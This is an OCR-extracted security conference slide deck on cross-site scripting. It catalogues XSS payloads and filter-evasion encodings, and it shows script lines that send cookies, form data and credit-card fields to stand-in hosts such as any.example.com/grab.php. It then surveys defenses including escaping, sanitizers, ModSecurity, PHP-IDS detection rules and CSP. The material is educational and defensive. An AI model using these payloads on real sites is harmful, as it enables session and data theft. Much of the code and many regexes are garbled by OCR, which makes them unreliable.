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ABOUT ME

Security Researcher i Vulnerability Research Labs i COSEINC (http://www.coseinc.com )

Founder SecNiche Security (http://www.secniche.orq)

Information Security Author at various.

Speaker at various security conferences.
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Working in the security field for last 7 years.

DISCLAIMER

All vulnerabilities and attacks presented in this presentation were discovered during my professional avocation with web
application penetration testing and research.

This research is different from my ongoing routine work.

All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represen t
the beliefs of my current, or any of my previous in that effect, employers.

All for Education and Developmental Purposes
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AGENDA

Web 2.0 Artifacts and Web Attack Trends

Under the Hood - Filters and Payloads

Beating the Base - Differential XSS Attacks

The Anti XSS World i Solutions and Problems
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WEB 2.0 0THE RETROSPECTIVE

A Interactive and centralized information sharing

A Platform for participatory web

A No segregation of work functionality , interdependency
A Sort of online democracy i users to users

A Web content utilization at large scale

A Backward compatible with web 1.0

A Applications 7 web driven and desktop structured
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BUSINESS BABAPPLICATION SERVES PLATINUM

A Business dependency on application layer

A Integration of business processes for automation on web

A End user services via web applications

A Giant step towards Cloud Computing

A Global presence , transactions and real time communication
A Business Chess i Walk Fast , Fetch Money on Web

A Business Model i Web 2.0 is the Golden Key
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XSS ANATOMYTHE TRUTH BEHIND BARS

A Frivolous problem in the ongoing web system.
A 80% of the common flaws are of XSS or its variants.
A Reported and still remain unpatched.

Security at its best.

A Reasons for this behavior

I People donot know or donodot want
I Underestimate the impacts of XSS after understanding.
I Insufficiently addressed even after understanding the risks.

A An open door to takeover your integral components.
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WEB SECURITY MODELSOP AND XSS (VARIANTS) =

SOPdAvoids
Loading Content
from different
Domain. It can be
Script or a
Document

XSS Attack Serves
the Loading of
Malicious Script and
Document from
different Domain.
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www.myhost.com:80

XmiHttpRequest| method:

SOPd3 Controlling JavaScript and DOM functions from different Domains

XSS3 Scripting Across Domains

XSS is an output of inadequateness of sameorigin policies
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XSS PAYLOADSINSIDE THE GALLON

A Randomization i Execution in a diversified manner

A <script>alert("XSS");</script>

A <script src="http://bad.example.org/exploit.js"></script>
A <img src="javascript:alert(’XSS');">

A <iframe src='vbscript:alert("XSS")">

A <body onload="alert('XSS");">

A <a href="#" onmouseover="alert('XSS');">Cool link</a>

A <input type="text" size="20" onfocus="alert('XSS");">

A <span style="background-image:url(javascript:alert("XSS"))">

A <span style="x:expression(alert('"XSS")">

A <link rel="stylesheet" href="http://bad.example.org/exploit.css">

A <meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmiwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">
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XSS PAYLOADSINSIDE THE GALLON | =
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<img src="javascript:alert(payload);">
<IMG SRC="javascript:alert(payload);">
<iMg sRC="jaVasCript:alert(payload);">
<img src="javascript:alert(payload);>
<img src=javascript:alert(payload);>
<img src="jav&#97;script.alert(payload);">
<img src="&#x6a;avascript:alert(payload);">
<img src="&#X6A;avascript:alert(payload);">
<img src="j&#97vascript:alert(payload);">
<img src="j&#00097;vascript:alert(payload);">
<img src=" javascript:alert(payload);">
<img src="java&#09;script:alert(payload);">
<img/src="javascript:alert(payload);">
<img src="javascript:alert(payload);"
<img src
="jav
a
script:alert(payload);">

A
A
A
A
A
A
A
A
A
A
A
A
A
A
A

} 14

A Camouflaging i Exploiting in a hidden manner

Original attack

Case changed #1

Case changed #2

Apostrophe instead of quotation marks
No quotation marks at all

Entity used (decimal value)

Entity used (hexadecimal value)

Entity used (hexadecimal value, upper case)
Entity used (decimal value, no semicolon)
Entity used (decimal value, leading zeros)
Space character in front

Whitespace in between

No space in tag

Tag not closed

Line breaks

Bie
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XSS PAYLOADSINSIDE THE GALLON

A Variations in XSS realm

A Runtime addition of tags in DOM

A document.writg'<tag=anydata</tag>");

A <iframesrc="http://any.example.com/page.jsp?anyname=anyvalue"></iframe>

A <imgsrc"http://any.example.com/grab.php?data=all_stolen_information">

A <form name="hack" action="http://any.example.com/grab.php" method="post">
<input type="hidden" name=nynamé value="anyvalué¢>
</form>

A <scriptsr"http://any.example.com/more.js">

A <scriptsr="http://hacked.example.com/js.php?data=some_data"></script>

A Cookie extraction at run time
A varmy_cookies= document.cookies

A Command execution in specific time
A window.setInterval'executeCommangl’, 5000);
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XSS PAYLOADSINSIDE THE GALLON

|

A Variations in XSS realm

A Arbitrary DOM Calls execution

Adocument.hack.subm(j;

Adocument.logon.actiom 'http://hack.example.com/grab.php';
Avarstolen_data= document.order.ccnumber.valye
Avarwhere_am_iE document.location.href

A Active X Code execution

varfso= newActiveXObjedt' Scripting.FileSystemObjéy;t
XFile=fso.GetFil€'c)\\business\secret.txt");

stream =XFile.OpenAsTextStre§in 0);

var content =stream.ReadA();

A AJAX same domain request

var xmlHttp; xmIHttp = newActiveXObjedtMsxmI2. XMLHTTPymIHttp.onreadystatechangdunction() {

if(xmlHttp.readyState=4) {varresponse xmlHttp.responseTex} }

try { xmlHttp.oper("GET", Somepape.asp?parametesinyvalué, true); xmlHttp.sendnull);} catch (e) { }

16
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XSS CHARACTERISTIQENSIDE THE GALLON

A XSS Impacts
I Disclosure of arbitrary data (entered) in HTML forms
I Disclosure of all text typed in an entire Web application
I File system reconnaissance and enumeration
I Disclosure of File contents and system files
I Intranet access through the outside
I Port scanning aka network reconnaissance
I Web Spidering aka application reconnaissance
I Fingerprinting and vulnerability scanning
I Brute forcing , exploit triggering etc
I Forcing rogue identities , identity thefts , privacy breaches etc
I Hoaxes, phishing and malware distribution
I File content manipulation , server degradation and device reconfig
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XSSOUNBEATEN AND THE WAR

A There is no use of reinventing the wheel. Move ahead.

I What about basics?
I Why vulnerabillities still persist?
I Something is missing or untamed.

A WAR is RAW

I Replica of same thing in a reversible manner.

I Evasion and Detection 1 It all lies here.
I Filters vs. Payloads.

18
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XSSOHOLISTIC PROTECTION

A HTML input sanitization
i PHP
A htmlspecialchars($user_data)
A htmlentities()

A html_entity_decode() / html_entity _encode()
A utf8_decode ( string $data ) / utf8_encode ( string $data )

I Ruby on Rails
A h(user_data)
A safe ERB Plugin A html_escape(user_data)

» Works primarily for Escaping HTML characters
» Fails in number of XSS variations.

Truth of Escaping and Best Practice

Stringescaping should be the last step of data manipulation when your priority is kpa@of escaping

%2
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~ XSS8HOLISTIC PROTECTION

A HTML parameter filtering

I Ruby on Rails
A HTML based Whitelist sanitizer A sanitize(html,options{})

Sanitize.clean(html, :elements => ['a’, 'span’],

-attributes => {"a’' => [‘href', 'title'], 'span’ => ['class']},
:protocols => {'a' => {'href' => ['http’, 'https', 'mailto']}}).

A Applying tidy package

require 'tidy' html = '<htmlI><title>title</title>Body</htm[>'
xml = Tidy.open(:show_warnings=>true) do [tidy|
tidy.options.output_xml = true puts

tidy.options.show_warnings
xml = tidy.clean(html)
puts tidy.errors puts tidy.diagnostics xml end puts xml .
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XSSOSERVER SIDE FILTERS E
A Java xssfilt.jar
I Filter is described in web.xml file
I Protection is defined only for specific set of attributes
I It can be beaten
-laix
File Edit Search View Settings Language Tools Help
<filter> 'BH&“”«%.X“‘“‘"H— =
<filter-name>XSSFilter</filter-name> r_j' B/ U |r—‘ 2Ed/va
<filter-class>com.cj.xss.XSSFilter</filter-class> — =
<[filter> Alll | By
private String cleanXSS(String s) ©
: . {
<filter-mapping> 5 =S replaceAll’<", "&1") eplaceAll’>", "&at),
<filter-name>XSSFilter</filter-name> s = s.replaceAll(" ( "&#40;") replaceAll("\)", "&#41."); }4
s =sreplaceAll("", "&#39");
<url-pattern>/*</url-pattern> s = s replaceAl(" eva“ (™) =
<[filter-mapping> s = s.replaceAll("[\"\V][l\sFjavascript: (5[], "),
s = s.replaceAll("script”, "™); J 2
retums; g
} ol | &
4 | _'.|_I
public Requestwrapper(HttpServletRequest httpservietrequest) { 3 =)
public Sting(] getParameteralues(Sting s) 4} =
sk aesie okt jl

line: 1 Col: 1 [ INum lock: OFF ~ |Capslock: OFF  [Insert: OFF 11,120 GB Free

g
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~ XSS3SERVER SIDE FILTERS

A Modsecurity

I Based on security rule sets defined in attack configuration files

I Heavy use of regular expressions. Fault driven.
I Attacks controlled on standard set of HTML elements and attributes

A Effective Functionalities (A WAF Alias against XSS)

I URL link signing
I Cookie signing with certain crypto modules
I Stripping off comments out of code.

A SecStripCommentCode On/Off
A SecsSignCookies On/ Off

A SecEncryptionPasswordiipas swor do
A SecSignLinks On/ Off

Solld Security.Verified.
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XSSO SERVER SIDE FILTERS

A Modsecurity (Inefficient Layout)

|

I Filters bypassing is easy with different XSS variants

I WIriting complex rules i a havoc or a nightmare

I Not a generalized model for securing applications against XSS
I Well Encodings , You want to rewrite filters again. Problem.

I Updates occur very slowly.

I Garbage value acceptance.

I Heavy processing and optimization.

P
Apache

ModSecurity

I hitp, ajp 0L

Apache

ModSecurity

)

Tomcat, Jetty I1S, JBoss

Generic XSS Filter

SecFilter"<(|[\n) *scr i ptf
SecFilter"<(.\n) +>A [/ / b

[/ all ow commonly used HTML tags
| ojavdscript | | ht ml and
SecFilter”" <[ [ : space:]] *scriptin // a rogue xss filter

L]
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XSSOSERVER SIDE FILTERS / IDS

A PHP-IDS

I Integral rule sets for detecting XSS attacks
I Regularly updated , Efficient in supporting Encoding schemes
I Capturing power is really high.

A Generic Functionalities

I CPU consumption is high based on filters usage for a single attack
I Overall Impact Ratio i based on number of filters involved
I Destined filters , robust coding and detection algorithms

void ___construct ( $id, mixed Srule, string Sdescription, Stags, infeger Simpact)
string getDescription ()

integer getld ()

integer getImpact ()

string getRule ()

array getTags ()

boolean match (string $string)
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XSSOSERVER SIDE FILTERS / IDS
A PHP-IDS i Rule sets (Robust)

[Obfuscated Detection]
(?2: A S\WNS\\[D](?:\(\s*(?:this|top|window|self|parent|_?content) \s*\))|(?:srds*=s*(?Aw+:|\/\/))[(?:\
WAC\W+ [ \WR [\ D[(Z:[ \AWN N[ NAW]\NWRAw+)[ (2NN s\ A s*[a-z"])|(?:2AsHNS[([1*\ O (?:2\s*\ (\s*")

[Basic Projection]
H)[(?2: &\ s \wH s\ [ D](?:\+N\WAd]*new\ sAw+[\WAd]*\ +)|(?:document.\w)

[PHP Centrifuge detection]

(PA{2 A H2 1 {2 DIA{2 A2, 1 0)[(AEB A ++{2, DA [ ])

[XSS Concatenation Patterns]
(2:AsNWHASHNASH)|(2:\+A S\ (\s")[(2: I S*\d., ][ AWAA*¥\s¥\ ?)|(?: A s\ [s*\]D|(?:"\ s\ A s*)|(?: [\ s\ [\s*\dH
SMN\S*[;+D[(2:"\s*[&]]+ \s*)[(2:\ASNAS*)|(2: NSNS )| (2:\d\ 2. +\d) | (2 NS [\ WX \w) | (?: [\ s\ s*=\s*\/)

[Malicious Attribute Injection Check]
(?:[\s\d\/"]+(?:0n\w+|style)=[$"\w])

Download- hitp://php -ids.org/files/phpids0.6.3.1.zi default_filter.xml] [ Updates regularly found]
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http://php-ids.org/files/phpids-0.6.3.1.zip
http://php-ids.org/files/phpids-0.6.3.1.zip
http://php-ids.org/files/phpids-0.6.3.1.zip
http://php-ids.org/files/phpids-0.6.3.1.zip
http://php-ids.org/files/phpids-0.6.3.1.zip

~ XSS3MOZILLA CONTENT SECURITY POLICY

A CSP i robust prevention against XSS

I Scripts from white listed domains are allowed to execute
I Events are allowed in an optimized way without HTML

A Default Restrictions - overview

AThe contents of internal <script> nodes
AJdavaScript: URIs, e.g.Rkraf="javascript:bad_stuf)">
AEventhandling attributes, e.g. <enclick="bad_stuff)">
Adata: URIs as a source for inline content.

Aeval)

AsetTimeoutcalled with a String argument, e sptTimeou("evil string...", 1000)
Asetintervalcalled with a String argument, e sptinterva("evil string...", 1000)
Anew Function constructor, e.garf = new Function("evil string...")
AJdavaScript: URIs, e.g.kraf="javascript:bad_stuf)">

o2
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Add-ons for Firefox Add-ons for Firefox

® XSS Warning o XSS Guardian 0.1

by guelfoweb by pop killer

XSS Guardian Panel | ‘
Status: Enabled :
Click for Disable :

by pop ke |
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